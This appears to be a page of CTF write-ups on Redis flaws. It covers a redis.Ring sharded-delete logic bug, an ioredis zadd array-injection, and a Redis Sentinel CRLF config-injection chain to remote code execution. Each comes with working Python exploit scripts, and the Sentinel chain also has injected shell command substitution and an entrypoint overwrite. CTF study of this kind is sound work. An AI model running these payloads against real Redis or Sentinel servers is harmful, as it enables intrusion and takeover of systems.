Skip to content

Redis

redis.Ring does not check what shards you access. redis.Del on several keys will execute only on the shard of the first key, which can lead to an inconsistent state where some keys exist for a deleted...

Created

Updated

7 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

redis.Ring Golang Shard Access Bypass

Event NameSAS CTF Quals 2025
GitHub URL-
Challenge NameDrift Chat Revenge
Solves11
Attachments
References

redis.Ring does not check what shards you access. redis.Del on several keys will execute only on the shard of the first key, which can lead to an inconsistent state where some keys exist for a deleted session.

Solver

Vulnerability: When /logout is called, the app executes redis.Del on several keys, but it only executes on the shard of the first key.

Exploit Chain:

  • SetDraft("best chat eva", "a")
  • Logout
  • SendMessage
  • Relevant Code

    Draft Handler:

    package service
    
    import (
    	"editor/internal/redis"
    	"fmt"
    	"log/slog"
    	"time"
    
    	"github.com/gin-gonic/gin"
    )
    
    type setDraftReq struct {
    	Chat  string `json:"chat"`
    	Draft string `json:"draft"`
    }
    
    type setDraftResp struct{}
    
    func (s *Service) SetDraft(c *gin.Context) {
    	ctx := c.Request.Context()
    
    	req := setDraftReq{}
    	if err := c.BindJSON(&req); err != nil {
    		slog.Error("parse", "err", err)
    		c.AbortWithStatus(532)
    		return
    	}
    
    	tok := c.Request.CookiesNamed(tokenCookie)
    	if len(tok) != 1 {
    		c.AbortWithStatus(403)
    		return
    	}
    	token := tok[0].Value
    	st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
    	username := st.Val()
    	if username == "" {
    		c.AbortWithStatus(403)
    		return
    	}
    
    	s.red.Set(ctx, fmt.Sprintf(redis.Online, username), "1", 10*time.Second)
    
    	if req.Draft == "" {
    		res := s.red.Del(ctx, fmt.Sprintf(redis.DraftMessage, token),
    			fmt.Sprintf(redis.WrittenNow, token))
    		if res.Err() != nil {
    			c.AbortWithStatus(500)
    			return
    		}
    
    		c.JSON(200, setDraftResp{})
    		return
    	}
    
    	pipe := s.red.TxPipeline()
    	pipe.SAdd(ctx, fmt.Sprintf(redis.ChatWriteList, req.Chat), token)
    	pipe.Set(ctx, fmt.Sprintf(redis.DraftMessage, token), req.Draft, 0)
    	pipe.Set(ctx, fmt.Sprintf(redis.WrittenNow, token), req.Chat, 0)
    	_, err := pipe.Exec(ctx)
    	if err != nil {
    		c.AbortWithStatus(500)
    		c.Error(err)
    		return
    	}
    
    	c.JSON(200, setDraftResp{})
    }

    SendMessage Handler:

    package service
    
    import (
    	"editor/internal/redis"
    	"editor/internal/repository/chat"
    	"fmt"
    	"log/slog"
    
    	"github.com/gin-gonic/gin"
    )
    
    type sendMessageReq struct {
    	Chat string `json:"chat"`
    }
    
    func (s *Service) SendMessage(c *gin.Context) {
    	ctx := c.Request.Context()
    
    	req := sendMessageReq{}
    	if err := c.BindJSON(&req); err != nil {
    		slog.Error("parse", "err", err)
    		c.AbortWithStatus(532)
    		return
    	}
    	chatName := req.Chat
    
    	tok := c.Request.CookiesNamed(tokenCookie)
    	if len(tok) != 1 {
    		c.AbortWithStatus(403)
    		return
    	}
    	token := tok[0].Value
    	st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
    	username := st.Val()
    
    	st = s.red.Get(ctx, fmt.Sprintf(redis.DraftMessage, token))
    	if st.Err() != nil {
    		c.AbortWithStatus(401)
    		c.Error(fmt.Errorf("no draft message %s", st.Err()))
    		return
    	}
    	msg := st.Val()
    
    	st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
    	if st.Err() != nil {
    		c.AbortWithStatus(402)
    		c.Error(fmt.Errorf("no written now %s", st.Err()))
    		return
    	}
    	writtenNow := st.Val()
    	if writtenNow != chatName {
    		c.AbortWithStatus(403)
    		c.Error(fmt.Errorf("written now is wrong %s", st.Err()))
    		return
    	}
    
    	messages, err := s.chat.GetMessages(ctx, chatName)
    	if err != nil {
    		c.AbortWithStatus(404)
    		c.Error(fmt.Errorf("no messages %s", st.Err()))
    		return
    	}
    
    	ok, _ := s.check_is_allowed(ctx, username, chatName)
    	if !ok {
    		c.AbortWithStatus(405)
    		return
    	}
    
    	err = s.chat.SendMessage(ctx, chatName, chat.Message{
    		Author:  username,
    		Content: msg,
    	})
    	if err != nil {
    		c.AbortWithStatus(406)
    		c.Error(fmt.Errorf("failed to send %s", st.Err()))
    		return
    	}
    
    	cmd := s.red.Del(ctx,
    		fmt.Sprintf(redis.WrittenNow, token),
    		fmt.Sprintf(redis.DraftMessage, token))
    	if cmd.Err() != nil {
    		c.AbortWithStatus(407)
    		c.Error(fmt.Errorf("del %s", cmd.Err()))
    		return
    	}
    
    	c.JSON(200, getChatResp{Messages: messages})
    }

    Exploit Script

    import httpx
    
    URL = "https://drift-chat-revenge.task.sasc.tf"
    # URL = "https://drift_chat.task.sasc.tf/"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url, verify=False)
        def api_login(self, login, password):
            return self.c.post("/api/login", json={
                "login": login,
                "password": password,
            })
        def api_chat_create(self, name, allowed_users):
            return self.c.post("/api/chat/create", json={
                "name": name,
                "allowed_users": allowed_users,
            })
        def api_chat_get(self, chat):
            return self.c.post("/api/chat/get", json={
                "chat": chat,
            })
        def api_register(self, password, login):
            return self.c.post("/api/register", json={
                "login": login,
                "password": password,
            })
        def api_set_draft(self, chat, draft):
            return self.c.post("/api/set_draft", json={
                "chat": chat,
                "draft": draft,
            })
        def api_chat_get_drafts(self, chat):
            return self.c.post("/api/chat/get_drafts", json={
                "chat": chat,
            })
        def api_send_message(self, chat):
            return self.c.post("/api/send_message", json={
                "chat": chat,
            })
        def api_logout(self):
            return self.c.post("/api/logout")
    class API(BaseAPI):
        ...
    
    if __name__ == "__main__":
        api = API()
        for i in range(10):
            creds = ["dajiwqoprnfqiowpnroiqwweodinqnnoiqwjmdioqws", "dajiwqoprnfqiowpnroiqwweodinqnnoiqwjmdioqws"]
            res = api.api_register(login=creds[0], password=creds[1])
            print(res.text, res.status_code)
            res = api.api_login(login=creds[0], password=creds[1])
    
            res = api.api_set_draft("best chat eva", "foo")
            print(res.text, res.status_code)
    
            res = api.api_logout()
            print(res.text, res.status_code)
    
            print(api.c.cookies)
    
            res = api.api_send_message("best chat eva")
            print(res.text, res.status_code)

    Flag


    ioredis Type Confusion (zadd)

    Event NamecorCTF 2024
    GitHub URL-
    Challenge Namerock-paper-scissors
    Solves
    Attachments
    References

    The ioredis library's zadd function is vulnerable to type confusion when the application doesn't validate input types, allowing array injection into Redis commands.

    Solver

    Vulnerable Code:

    await redis.zadd('scoreboard', score, username);

    ioredis zadd signature:

    zadd(...args: [key: RedisKey, ...scoreMembers: (string | number | Buffer)[], callback: Callback<number>]): Promise<number>

    Finding the Container IP:

    sudo docker ps
    sudo docker inspect 712f2d1ff53e | grep 172
                        "Gateway": "172.28.0.1",
                        "IPAddress": "172.28.0.3",

    Monitoring Redis Commands:

    redis-cli -h 172.28.0.3
    172.28.0.3:6379> MONITOR
    1722081120.372250 [0 172.28.0.2:40998] "getdel" "962bc73df31b6b25"
    1722081120.373868 [0 172.28.0.2:40998] "incr" "962bc73df31b6b25"
    1722081120.375392 [0 172.28.0.2:40998] "getdel" "962bc73df31b6b25"
    1722081120.375542 [0 172.28.0.2:40998] "zadd" "scoreboard" "1" "hey" "\\n" "scoreboard" "5555" "yaasdf"
    1722081120.376850 [0 172.28.0.2:40998] "getdel" "962bc73df31b6b25"

    Payload Example:

    r = sess.post(HOST + '/new', json={'username': ['hey','\\n', 'scoreboard', 5555, 'yaasdf']})

    Exploitation Goal:

    "zadd" "scoreboard" "1" "hey" "1337" "injected"

    Exploit Script

    import requests
    
    HOST = 'http://0.0.0.0:8080'
    sess = requests.Session()
    
    exfil_username = 'injected'
    # Create username that's an array
    r = sess.post(HOST + '/new', json={'username': ['hey', 1337, exfil_username]})
    
    # Make sure we always lose, so we hit the `redis.zadd('scoreboard', score, username)`:
    r = sess.post(HOST + '/play', json={'position': "a"})
    
    # Now change user
    r = sess.post(HOST + '/new', json={'username': exfil_username})
    
    # Then we can get flag
    flag = sess.get(HOST + '/flag').text
    print(flag)

    Flag


    Redis Sentinel CRLF / config-injection → RCE (+ unintended: flag leaked in challenge manifest API)

    Event NameSAS CTF 2026
    GitHub URL-
    Challenge NameRedis Nightmare
    Solves12
    Attachments
    solve.py
    #!/usr/bin/env python3
    # Redis Nightmare (SAS CTF 2026) — INTENDED: Redis Sentinel CRLF/config-injection -> RCE
    # Based on Paul Axe research: https://github.com/tom0li/collection-document/blob/master/15-redis-post-exploitation.pdf
    import time
    import redis
    from redis.backoff import NoBackoff
    from redis.retry import Retry
    
    PASSWORD = "37e66192b419fdb08e77b715b2ff2eb60d6a02c36a16b8300b41d91f2e5dbe98"   # per-instance
    HOST = "redis-c3dbbe94a22949388fe7.tcp.kit.sasc.tf"                              # per-instance
    PORT = 443
    
    CMD = '''echo <new base64 encoded entry.sh> | base64 -d > /entry.sh; kill 1'''
    
    def printable(cmd):
        cmd = [i if " " not in i else f'"{i}"' for i in cmd]
        return " ".join(cmd).replace("\n", "\\n")
    
    def get_client():
        return redis.Redis(host=HOST, port=PORT, decode_responses=True, password=PASSWORD,
                           retry=Retry(backoff=NoBackoff(), retries=0), ssl=True, ssl_cert_reqs=None)
    
    def run_with_restart(cmd, sleep=3):
        try:
            with get_client() as client:
                print("[+] Executing:\n\t{}".format(printable(cmd)))
                client.execute_command(*cmd)
                time.sleep(sleep)
                client.execute_command("SHUTDOWN", "NOSAVE")
        except redis.exceptions.ConnectionError:
            print("[+] Restarting"); time.sleep(25)
    
    def probe():
        with get_client() as client:
            print(client.execute_command("SENTINEL", "MASTERS")[0])
    
    # 1) CRLF-inject a second monitored master 'zfake' into sentinel config via SENTINEL SET auth-pass value
    run_with_restart(sleep=15, cmd=["SENTINEL","SET","mymaster","auth-pass",
      "qwe\nsentinel myid dddddddddddddddddddddddddddddddddddddddd\n"
      "sentinel monitor 'zfake' 192.168.13.37 6379 2\n"
      "sentinel auth-pass 'zfake' ae0fd3253987f24c85392b18d8cfc05ec8fa1f41e3145228fe4904cd95fb3fd3"])
    probe()
    # 2) point sentinel logfile at /entry.sh and smuggle a command substitution via myid
    run_with_restart(cmd=["SENTINEL","SET","zfake","auth-pass",
      "qwe\nsentinel myid `.$IFS/usr/local/etc/redis/sentinel.co*`\nlogfile /entry.sh"])
    probe()
    # 3) overwrite /entry.sh with attacker payload and kill 1 to restart the container -> RCE
    run_with_restart(cmd=["SENTINEL","SET","zfake","auth-pass", f"qwe\n{CMD}; exit;"])
    probe()   # connection exception here == exploit landed
    
    References

    Flag: SAS{r3l4ys_4r3_n0t_g00d_but_CRLF_w0rse}

  • Arch: web → Redis Sentinel (TLS + auth) → SaltStack master/minions; goal = read /flag.txt on the salt-master.
  • Unintended (fastest): GET /public-api/challenges/9 returns data.manifest (the k8s deploy template), which hardcodes the flag as the FLAG env default — the real {{ .Flag }} env block is commented out, so the literal default is the flag: printf '%s\n' "${FLAG:-SAS{...}}" > /flag.txt. Pure info-disclosure from the platform's challenges API; no exploitation needed.
  • Intended: SENTINEL SET <master> auth-pass <value> writes <value> verbatim into the on-disk sentinel config → CRLF/newline injection of arbitrary sentinel … directives. Chain: inject a 2nd monitored master zfake → set logfile /entry.sh + smuggle a command-substitution via sentinel myid → overwrite /entry.sh and kill 1 to restart the container → RCE. Each step ends with SHUTDOWN NOSAVE so sentinel reloads the rewritten config on restart.
  • why it is vulnerable

    # SENTINEL SET writes the auth-pass value straight into the sentinel config file with NO
    # newline sanitization -> classic CRLF/config injection:
    client.execute_command("SENTINEL","SET","mymaster","auth-pass",
      "qwe\n"                                              # close the auth-pass line
      "sentinel monitor 'zfake' 192.168.13.37 6379 2\n"   # inject a NEW monitored master...
      "sentinel auth-pass 'zfake' <pass>")                # ...that we then fully control
    # then on the injected master: logfile is attacker-controlled -> write arbitrary files (/entry.sh),
    # and the myid value is evaluated as a shell command-substitution on restart:
    #   sentinel myid `.$IFS/usr/local/etc/redis/sentinel.co*`

    Solver

    import time, redis
    from redis.backoff import NoBackoff
    from redis.retry import Retry
    PASSWORD="<per-instance>"; HOST="redis-....tcp.kit.sasc.tf"; PORT=443
    CMD='echo <new base64 entry.sh> | base64 -d > /entry.sh; kill 1'
    def cli(): return redis.Redis(host=HOST,port=PORT,decode_responses=True,password=PASSWORD,
        retry=Retry(backoff=NoBackoff(),retries=0),ssl=True,ssl_cert_reqs=None)
    def step(cmd,sleep=3):
        try:
            with cli() as c: c.execute_command(*cmd); time.sleep(sleep); c.execute_command("SHUTDOWN","NOSAVE")
        except redis.exceptions.ConnectionError: time.sleep(25)
    # 1) CRLF-inject a 2nd master 'zfake'
    step(["SENTINEL","SET","mymaster","auth-pass",
      "qwe\nsentinel myid dddddddddddddddddddddddddddddddddddddddd\n"
      "sentinel monitor 'zfake' 192.168.13.37 6379 2\n"
      "sentinel auth-pass 'zfake' ae0fd3253987f24c85392b18d8cfc05ec8fa1f41e3145228fe4904cd95fb3fd3"], sleep=15)
    # 2) logfile -> /entry.sh + command-substitution via myid
    step(["SENTINEL","SET","zfake","auth-pass",
      "qwe\nsentinel myid `.$IFS/usr/local/etc/redis/sentinel.co*`\nlogfile /entry.sh"])
    # 3) overwrite /entry.sh and restart -> RCE -> read /flag.txt
    step(["SENTINEL","SET","zfake","auth-pass", f"qwe\n{CMD}; exit;"])

    Unintended one-liner

    curl -s 'https://ctf.thesascon.com/public-api/challenges/9' -H 'Cookie: session=<yours>' \
      | python3 -c 'import sys,json,re;print(re.findall(r"SAS\{[^}]*\}",json.load(sys.stdin)["data"]["manifest"]))'

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.